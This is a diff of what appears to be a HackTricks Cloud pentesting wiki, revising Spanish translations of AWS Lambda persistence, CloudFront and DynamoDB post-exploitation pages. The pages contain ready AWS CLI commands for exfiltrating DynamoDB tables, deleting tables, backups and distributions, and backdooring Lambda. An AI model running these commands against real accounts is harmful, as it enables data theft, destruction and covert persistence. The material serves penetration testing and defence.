diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 6511d7a80..7a671bbc3 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Abusando de Lambda Layers también es posible abusar de extensions y persistir en la lambda, además de robar y modificar requests. +Abusando de Lambda Layers también es posible abusar de extensions y persistir en la Lambda, además de robar y modificar requests. {{#ref}} aws-abusing-lambda-extensions.md @@ -28,15 +28,15 @@ aws-abusing-lambda-extensions.md ### Via resource policies -Es posible conceder acceso a diferentes lambda actions (such as invoke or update code) a cuentas externas: +Es posible otorgar acceso a diferentes acciones de lambda (tales como invoke o update code) a cuentas externas:
### Versions, Aliases & Weights -Una Lambda puede tener **diferentes versiones** (con diferente código en cada versión).\ -Luego, puedes crear **diferentes aliases con diferentes versiones** de la lambda y asignar diferentes weights a cada una.\ -De este modo un atacante podría crear una **backdoored version 1** y una **version 2 con solo el legit code** y **ejecutar solo la version 1 en 1%** de las requests para permanecer sigiloso. +A Lambda can have **different versions** (with different code each version).\ +Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ +This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
@@ -54,16 +54,16 @@ De este modo un atacante podría crear una **backdoored version 1** y una **vers ### Cron/Event actuator -El hecho de que puedas hacer que las funciones lambda se ejecuten cuando ocurre algo o cuando pasa cierto tiempo hace de lambda una forma común y útil para obtener persistence y evitar la detección.\ -Aquí tienes algunas ideas para hacer tu presencia en AWS más sigilosa creando lambdas. +El hecho de que puedas hacer que las funciones Lambda se ejecuten cuando ocurre algo o cuando pasa cierto tiempo convierte a Lambda en una forma común para obtener persistencia y evitar la detección.\ +Aquí tienes algunas ideas para hacer tu presencia en AWS más sigilosa creando Lambdas. -- Cada vez que se crea un nuevo usuario, lambda genera una nueva user key y la envía al atacante. -- Cada vez que se crea un nuevo role, lambda da permisos de assume role a usuarios comprometidos. -- Cada vez que se generan nuevos cloudtrail logs, borrarlos/alterarlos +- Cada vez que se crea un usuario nuevo, una Lambda genera una nueva clave de usuario y la envía al atacante. +- Cada vez que se crea un rol nuevo, una Lambda otorga permisos de assume role a usuarios comprometidos. +- Cada vez que se generan nuevos cloudtrail logs, eliminarlos/alterarlos ### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers -Abusa de la variable de entorno `AWS_LAMBDA_EXEC_WRAPPER` para ejecutar un script wrapper controlado por el atacante antes de que arranque el runtime/handler. Entrega el wrapper vía un Lambda Layer en `/opt/bin/htwrap`, configura `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` y luego invoca la función. El wrapper se ejecuta dentro del proceso del runtime de la función, hereda el function execution role, y finalmente `exec`s el runtime real para que el handler original siga ejecutándose normalmente. +Abusa de la variable de entorno `AWS_LAMBDA_EXEC_WRAPPER` para ejecutar un script wrapper controlado por el atacante antes de que arranque el runtime/handler. Provee el wrapper mediante una Lambda Layer en `/opt/bin/htwrap`, configura `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, y luego invoca la función. El wrapper se ejecuta dentro del proceso runtime de la función, hereda el role de ejecución de la función y finalmente `exec`s el runtime real para que el handler original siga ejecutándose normalmente. {{#ref}} aws-lambda-exec-wrapper-persistence.md @@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md ### AWS - Lambda Function URL Public Exposure -Abusa de Lambda asynchronous destinations junto con la configuración de Recursion para hacer que una función se re-invoque continuamente sin un scheduler externo (no EventBridge, cron, etc.). Por defecto, Lambda termina loops recursivos, pero configurando recursion a Allow los vuelve a habilitar. Las destinations entregan en el lado del servicio para invocaciones async, así que una única seed invoke crea un canal sigiloso tipo heartbeat/backdoor sin código. Opcionalmente, limita con reserved concurrency para mantener el ruido bajo. +Abusa de Lambda asynchronous destinations junto con la configuración de Recursion para hacer que una función se reinvoque continuamente sin un scheduler externo (no EventBridge, cron, etc.). Por defecto, Lambda termina loops recursivos, pero configurar recursion a Allow los vuelve a habilitar. Las destinations entregan en el lado del servicio para invocaciones async, por lo que una única invocación semilla crea un canal de heartbeat/backdoor sigiloso y sin código. Opcionalmente limita con reserved concurrency para mantener el ruido bajo. {{#ref}} aws-lambda-async-self-loop-persistence.md @@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md ### AWS - Lambda Alias-Scoped Resource Policy Backdoor -Crea una version oculta de Lambda con lógica del atacante y aplica una resource-based policy a esa versión específica (o alias) usando el parámetro `--qualifier` en `lambda add-permission`. Otorga únicamente `lambda:InvokeFunction` sobre `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un principal atacante. Las invocaciones normales vía el nombre de la función o el alias primario no se ven afectadas, mientras que el atacante puede invocar directamente el ARN de la versión backdoored. +Crea una versión oculta de la Lambda con lógica del atacante y scopea una resource-based policy a esa versión específica (o alias) usando el parámetro `--qualifier` en `lambda add-permission`. Concede solo `lambda:InvokeFunction` sobre `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un principal atacante. Las invocaciones normales vía el nombre de la función o el alias principal permanecen sin afectar, mientras que el atacante puede invocar directamente el ARN de la versión backdoored. -Esto es más sigiloso que exponer una Function URL y no cambia el alias de tráfico primario. +This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias. {{#ref}} aws-lambda-alias-version-policy-backdoor.md {{#endref}} +### Freezing AWS Lambda Runtimes +An attacker who has lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, and lambda:GetRuntimeManagementConfig permissions can modify a function’s runtime management configuration. This attack is especially effective when the goal is to keep a Lambda function on a vulnerable runtime version or to preserve compatibility with malicious layers that might be incompatible with newer runtimes. + +The attacker modifies the runtime management configuration to pin the runtime version: +```bash +# Invoke the function to generate runtime logs +aws lambda invoke \ +--function-name $TARGET_FN \ +--payload '{}' \ +--region us-east-1 /tmp/ping.json + +sleep 5 + +# Freeze automatic runtime updates on function update +aws lambda put-runtime-management-config \ +--function-name $TARGET_FN \ +--update-runtime-on FunctionUpdate \ +--region us-east-1 +``` +Verifica la configuración aplicada: +```bash +aws lambda get-runtime-management-config \ +--function-name $TARGET_FN \ +--region us-east-1 +``` +Opcional: Fijar una versión específica del entorno de ejecución +```bash +# Extract Runtime Version ARN from INIT_START logs +RUNTIME_ARN=$(aws logs filter-log-events \ +--log-group-name /aws/lambda/$TARGET_FN \ +--filter-pattern "INIT_START" \ +--query 'events[0].message' \ +--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4) +``` +Fijar a una versión específica del runtime: +```bash +aws lambda put-runtime-management-config \ +--function-name $TARGET_FN \ +--update-runtime-on Manual \ +--runtime-version-arn $RUNTIME_ARN \ +--region us-east-1 +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md index 0b148a3ef..d4a490ba6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -10,22 +10,31 @@ Para más información consulta: ../../aws-services/aws-cloudfront-enum.md {{#endref}} +### `cloudfront:Delete*` +Un atacante al que se le conceda cloudfront:Delete* puede eliminar distributions, policies y otros objetos críticos de configuración del CDN — por ejemplo distributions, cache/origin policies, key groups, origin access identities, functions/configs, y recursos relacionados. Esto puede causar interrupción del servicio, pérdida de contenido y eliminación de configuraciones o artefactos forenses. + +Para eliminar una distribution un atacante podría usar: +```bash +aws cloudfront delete-distribution \ +--id \ +--if-match +``` ### Man-in-the-Middle -Este [**artículo**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un par de escenarios diferentes donde una **Lambda** podría ser añadida (o modificada si ya se está usando) en una **comunicación a través de CloudFront** con el propósito de **robar** información del usuario (como la **cookie** de sesión) y **modificar** la **respuesta** (inyectando un script JS malicioso). +This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un par de escenarios diferentes donde una **Lambda** podría añadirse (o modificarse si ya se está usando) en una **comunicación a través de CloudFront** con el propósito de **robar** información de usuario (como la **session cookie**) y **modificar** la **response** (inyectando un script JS malicioso). -#### escenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket - **Crear** la **función** maliciosa. - **Asociarla** con la distribución de CloudFront. -- Establecer el **tipo de evento a "Viewer Response"**. +- **Establecer** el **event type** a "Viewer Response". -Accediendo a la respuesta podrías robar la cookie de los usuarios e inyectar un JS malicioso. +Accediendo a la response podrías robar la cookie de los usuarios e inyectar un JS malicioso. -#### escenario 2: MitM where CloudFront is already using a lambda function +#### scenario 2: MitM where CloudFront is already using a lambda function -- **Modificar el código** de la Lambda function para robar información sensible +- **Modificar el código** de la lambda function para robar información sensible -Puedes consultar el [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Puedes revisar el [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index 2dce83816..4f62fc933 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -1,10 +1,10 @@ -# AWS - DynamoDB Post-explotación +# AWS - DynamoDB Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## DynamoDB -Para más información, consulta: +Para más información consulta: {{#ref}} ../../aws-services/aws-dynamodb-enum.md @@ -12,7 +12,7 @@ Para más información, consulta: ### `dynamodb:BatchGetItem` -Un atacante con este permiso podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas consultando los metadatos de la tabla (`describe-table`)). +Un attacker con este permiso podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas consultando los metadatos de la tabla (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla +**Potential Impact:** Indirect privesc al localizar información sensible en la tabla ### `dynamodb:GetItem` -**Al igual que los permisos anteriores** este permite a un posible atacante leer valores de una sola tabla dado la clave primaria de la entrada a recuperar: +**Similar a los permisos anteriores** este permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla +**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla ### `dynamodb:Query` -**Al igual que los permisos anteriores** este permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la base de datos en una sola solicitud. +**Similar a los permisos anteriores** esta permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la base de datos en una petición. {{#tabs }} {{#tab name="json file" }} @@ -107,7 +107,7 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Impacto potencial:** privesc indirecto al localizar información sensible en la tabla +**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla ### `dynamodb:Scan` @@ -124,18 +124,18 @@ Puedes usar este permiso para **dump la tabla completa fácilmente**. aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Este permiso también permite realizar `batch-execute-statement` como: +Este permiso también permite ejecutar `batch-execute-statement` como: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` pero necesitas especificar la clave primaria con un valor, por lo que no es tan útil. -**Impacto potencial:** Escalada de privilegios indirecta al localizar información sensible en la tabla +**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Este permiso permitirá a un atacante **exportar toda la tabla a un bucket S3** de su elección: +Este permiso permitirá a un atacante **exportar toda la tabla a un S3 bucket** de su elección: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Tenga en cuenta que para que esto funcione la tabla debe tener habilitado point-in-time-recovery; puede comprobar si la tabla lo tiene con: +Ten en cuenta que para que esto funcione la tabla debe tener point-in-time-recovery habilitado; puedes comprobar si la tabla lo tiene con: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -Si no está habilitado, deberás **habilitarlo** y para ello necesitas el permiso **`dynamodb:ExportTableToPointInTime`**: +Si no está habilitado, necesitarás **habilitarlo** y para eso necesitas el permiso **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla +**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Con estos permisos, un atacante podría **crear una nueva tabla a partir de una copia de seguridad** (o incluso crear una copia de seguridad para luego restaurarla en una tabla diferente). Entonces, con los permisos necesarios, podría consultar la **información** de las copias de seguridad que **ya no podrían estar en la tabla de producción**. +Con estos permisos, un atacante podría **crear una nueva tabla a partir de una copia de seguridad** (o incluso crear una copia de seguridad para luego restaurarla en una tabla distinta). Luego, con los permisos necesarios, podría consultar la **información** de las copias de seguridad que **ya no estarían** en la tabla de producción. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Impacto potencial:** Privesc indirecto al localizar información sensible en la copia de seguridad de la tabla +**Impacto potencial:** Indirect privesc al localizar información sensible en la copia de seguridad de la tabla ### `dynamodb:PutItem` -Este permiso permite a los usuarios agregar un **nuevo ítem a la tabla o reemplazar un ítem existente** con un nuevo ítem. Si un ítem con la misma clave primaria ya existe, el **ítem completo será reemplazado** por el nuevo ítem. Si la clave primaria no existe, se **creará** un nuevo ítem con la clave primaria especificada. +Este permiso permite a los usuarios agregar un **nuevo item a la tabla o reemplazar un item existente** con un nuevo item. Si ya existe un item con la misma clave primaria, el **item completo será reemplazado** por el nuevo item. Si la clave primaria no existe, se **creará** un nuevo item con la clave primaria especificada. {{#tabs }} {{#tab name="XSS Example" }} @@ -202,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder agregar/modificar datos en una tabla de DynamoDB +**Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder añadir/modificar datos en una tabla de DynamoDB ### `dynamodb:UpdateItem` -Este permiso permite a los usuarios **modificar los atributos existentes de un elemento o agregar nuevos atributos a un elemento**. No **reemplaza** el elemento completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo elemento** con la clave primaria especificada y establecerá los atributos indicados en la expresión de actualización. +Este permiso permite a los usuarios **modificar los atributos existentes de un ítem o añadir nuevos atributos a un ítem**. No **reemplaza** el ítem completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo ítem** con la clave primaria especificada y establecerá los atributos indicados en la expresión de actualización. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,34 +242,34 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder agregar/modificar datos en una tabla DynamoDB +**Impacto potencial:** Explotación de más vulnerabilidades/bypasses al poder agregar/modificar datos en una tabla de DynamoDB ### `dynamodb:DeleteTable` -Un atacante con este permiso puede **eliminar una tabla DynamoDB, causando pérdida de datos**. +Un atacante con este permiso puede **eliminar una tabla de DynamoDB, causando pérdida de datos**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Impacto potencial**: Pérdida de datos y interrupción de los servicios que dependen de la tabla eliminada. +**Impacto potencial**: Pérdida de datos y la interrupción de servicios que dependen de la tabla eliminada. ### `dynamodb:DeleteBackup` -Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que podría causar pérdida de datos en caso de un escenario de recuperación ante desastres**. +Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que potencialmente causa pérdida de datos en caso de un escenario de recuperación ante desastres**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Impacto potencial**: Pérdida de datos e incapacidad para recuperar desde una backup durante un escenario de recuperación ante desastres. +**Impacto potencial**: Pérdida de datos e incapacidad para recuperarlos desde una copia de seguridad durante un escenario de recuperación ante desastres. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: Probar si esto realmente funciona -Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorear los cambios en la tabla en tiempo real**. Esto permite al atacante monitorizar y exfiltrate los cambios de datos, potencialmente conduciendo a data leakage. +Un atacante con estos permisos puede **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. Esto permite al atacante monitorizar y exfiltrate cambios de datos, potencialmente conduciendo a data leakage. 1. Habilitar un stream en una tabla de DynamoDB: ```bash @@ -278,13 +278,13 @@ aws dynamodb update-table \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. Describe el stream para obtener el ARN y otros detalles: +2. Describe el flujo para obtener el ARN y otros detalles: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` -3. Obtén el iterador de shard usando el ARN del stream: +3. Obtener el shard iterator usando el stream ARN: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ @@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. Usa el shard iterator para acceder y exfiltrar datos del stream: +4. Utiliza el shard iterator para acceder y exfiltrate datos del stream: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Impacto potencial**: Monitoreo en tiempo real y data leakage de los cambios de la tabla DynamoDB. +**Impacto potencial**: Monitorización en tiempo real y exfiltración de datos de los cambios de la tabla DynamoDB. -### Leer items mediante `dynamodb:UpdateItem` y `ReturnValues=ALL_OLD` +### Leer items vía `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` -Un atacante con únicamente `dynamodb:UpdateItem` en una tabla puede leer items sin ninguno de los permisos de lectura habituales (`GetItem`/`Query`/`Scan`) realizando una actualización inofensiva y solicitando `--return-values ALL_OLD`. DynamoDB devolverá la imagen completa del item antes de la actualización en el campo `Attributes` de la respuesta (esto no consume RCUs). +Un atacante con solo `dynamodb:UpdateItem` en una tabla puede leer items sin ninguno de los permisos de lectura habituales (`GetItem`/`Query`/`Scan`) realizando una actualización inofensiva y solicitando `--return-values ALL_OLD`. DynamoDB devolverá la imagen completa anterior a la actualización del item en el campo `Attributes` de la respuesta (esto no consume RCUs). - Permisos mínimos: `dynamodb:UpdateItem` en la tabla/clave objetivo. -- Prerrequisitos: Debes conocer la clave primaria del item. +- Requisitos previos: Debes conocer la clave primaria del item. -Ejemplo (agrega un atributo inofensivo y exfiltra el item previo en la respuesta): +Example (adds a harmless attribute and exfiltrates the previous item in the response): ```bash aws dynamodb update-item \ --table-name \ @@ -318,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -La respuesta del CLI incluirá un bloque `Attributes` que contiene el elemento previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura desde un acceso solo-escritura. +La respuesta del CLI incluirá un bloque `Attributes` que contiene el item previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura desde un acceso solo de escritura. -**Impacto potencial:** Leer ítems arbitrarios de una tabla con solo permisos de escritura, permitiendo la exfiltración de datos sensibles cuando se conocen las claves primarias. +**Impacto potencial:** Leer elementos arbitrarios de una tabla con solo permisos de escritura, permitiendo la exfiltración de datos sensibles cuando se conocen las claves primarias. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -Exfiltración sigilosa añadiendo una nueva replica Region a una DynamoDB Global Table (versión 2019.11.21). Si un principal puede añadir una replica regional, toda la tabla se replica a la Region elegida por el atacante, desde la cual el atacante puede leer todos los ítems. +Exfiltración sigilosa añadiendo una nueva Regional Replica a un DynamoDB Global Table (versión 2019.11.21). Si un principal puede añadir una réplica regional, toda la tabla se replica en la Region elegida por el atacante, desde la cual el atacante puede leer todos los elementos. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required. +Permisos: `dynamodb:UpdateTable` (con `replica-updates`) o `dynamodb:CreateTableReplica` en la tabla objetivo. Si se usa un CMK en la réplica, pueden ser necesarios permisos de KMS para esa clave. -Potential Impact: Replicación de la tabla completa a una Region controlada por el atacante, lo que puede derivar en una exfiltración sigilosa de datos. +Impacto potencial: Replicación de toda la tabla a una región controlada por el atacante, lo que permite una exfiltración sigilosa de datos. -### `dynamodb:TransactWriteItems` (lectura mediante condición fallida + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) +### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -Un atacante con privilegios de escritura transaccional puede exfiltrar todos los atributos de un ítem existente realizando un `Update` dentro de `TransactWriteItems` que falla intencionadamente una `ConditionExpression` mientras establece `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Al producirse el fallo, DynamoDB incluye los atributos previos en las razones de cancelación de la transacción, convirtiendo efectivamente el acceso solo-lectura en acceso de lectura sobre las claves objetivo. +Un atacante con privilegios de escritura transaccional puede exfiltrar los atributos completos de un ítem existente realizando un `Update` dentro de `TransactWriteItems` que falla intencionalmente una `ConditionExpression` mientras se establece `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En caso de fallo, DynamoDB incluye los atributos previos en las razones de cancelación de la transacción, convirtiendo efectivamente el acceso solo-escritura en acceso de lectura a las claves objetivo. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -409,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item']) {{#endtab }} {{#endtabs }} -Permisos: `dynamodb:TransactWriteItems` en la tabla objetivo (y el item subyacente). No se requieren permisos de lectura. +Permisos: `dynamodb:TransactWriteItems` en la tabla objetivo (y el ítem subyacente). No se requieren permisos de lectura. -Impacto potencial: Leer elementos arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional a través de las razones de cancelación devueltas. +Impacto potencial: Leer ítems arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional mediante las razones de cancelación devueltas. -### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI +### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` en GSI -Elude las restricciones de lectura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` en un atributo de baja entropía, asignando ese atributo a un valor constante en los elementos, y luego ejecutar `Query` sobre el índice para recuperar los elementos completos. Esto funciona incluso si `Query`/`Scan` en la tabla base están denegados, siempre que puedas consultar el ARN del índice. +Evita las restricciones de lectura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` sobre un atributo de baja entropía, establece ese atributo a un valor constante en todos los ítems y luego `Query` el índice para recuperar los ítems completos. Esto funciona incluso si `Query`/`Scan` en la tabla base está denegado, siempre que puedas consultar el ARN del índice. - Permisos mínimos: - `dynamodb:UpdateTable` en la tabla objetivo (para crear el GSI con `ProjectionType=ALL`). -- `dynamodb:UpdateItem` en las claves de la tabla objetivo (para establecer el atributo indexado en cada elemento). +- `dynamodb:UpdateItem` en las claves de la tabla objetivo (para establecer el atributo indexado en cada ítem). - `dynamodb:Query` en el ARN del recurso del índice (`arn:aws:dynamodb:::table//index/`). -Pasos (PoC in us-east-1): +Pasos (PoC en us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ @@ -461,16 +461,16 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Impacto potencial:** Exfiltración completa de la tabla al consultar un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas. +**Impacto potencial:** Full table exfiltration al consultar un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas. -### `dynamodb:EnableKinesisStreamingDestination` (Exfiltración continua vía Kinesis Data Streams) +### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration a través de Kinesis Data Streams) -Abusar de los destinos de streaming Kinesis de DynamoDB para exfiltrar continuamente los cambios de una tabla hacia un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía casi en tiempo real al stream sin necesitar permisos de lectura en la tabla. +Abusar de DynamoDB Kinesis streaming destinations para exfiltrate continuamente los cambios desde una tabla hacia un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía casi en tiempo real al stream sin necesitar permisos de lectura sobre la tabla. Permisos mínimos (atacante): - `dynamodb:EnableKinesisStreamingDestination` en la tabla objetivo -- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para supervisar el estado +- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para monitorizar el estado - Permisos de lectura en el Kinesis stream propiedad del atacante para consumir registros: `kinesis:*`
@@ -528,8 +528,47 @@ aws dynamodb disable-kinesis-streaming-destination \ aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ``` +### `dynamodb:UpdateTimeToLive` + +Un atacante con el permiso dynamodb:UpdateTimeToLive puede cambiar la configuración de TTL (time-to-live) de una tabla — habilitando o deshabilitando el TTL. Cuando el TTL está habilitado, los ítems individuales que contienen el atributo TTL configurado serán eliminados automáticamente una vez que se alcance su tiempo de expiración. El valor de TTL es simplemente otro atributo en cada ítem; los ítems sin ese atributo no se ven afectados por la eliminación basada en TTL. + +Si los ítems no contienen ya el atributo TTL, el atacante también necesitaría un permiso que permita actualizar ítems (por ejemplo dynamodb:UpdateItem) para agregar el atributo TTL y provocar eliminaciones masivas. + +Primero habilite el TTL en la tabla, especificando el nombre del atributo que se usará para la expiración: +```bash +aws dynamodb update-time-to-live \ +--table-name \ +--time-to-live-specification "Enabled=true, AttributeName=" +``` +Entonces actualiza los items para añadir el atributo TTL (epoch seconds) para que expiren y sean eliminados: +```bash +aws dynamodb update-item \ +--table-name \ +--key '' \ +--update-expression "SET = :t" \ +--expression-attribute-values '{":t":{"N":""}}' +``` +### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime` + +Un atacante con permisos `dynamodb:RestoreTableFromAwsBackup` o `dynamodb:RestoreTableToPointInTime` puede crear nuevas tablas restauradas desde backups o desde point-in-time recovery (PITR) sin sobrescribir la tabla original. La tabla restaurada contiene una imagen completa de los datos en el punto seleccionado, por lo que el atacante puede usarla para exfiltrar información histórica u obtener un volcado completo del estado pasado de la base de datos. + +Restaurar una tabla de DynamoDB desde una copia de seguridad bajo demanda: +```bash +aws dynamodb restore-table-from-backup \ +--target-table-name \ +--backup-arn +``` +Restaurar una tabla de DynamoDB a un punto en el tiempo (crear una nueva tabla con el estado restaurado): +```bash +aws dynamodb restore-table-to-point-in-time \ +--source-table-name \ +--target-table-name \ +--use-latest-restorable-time +````
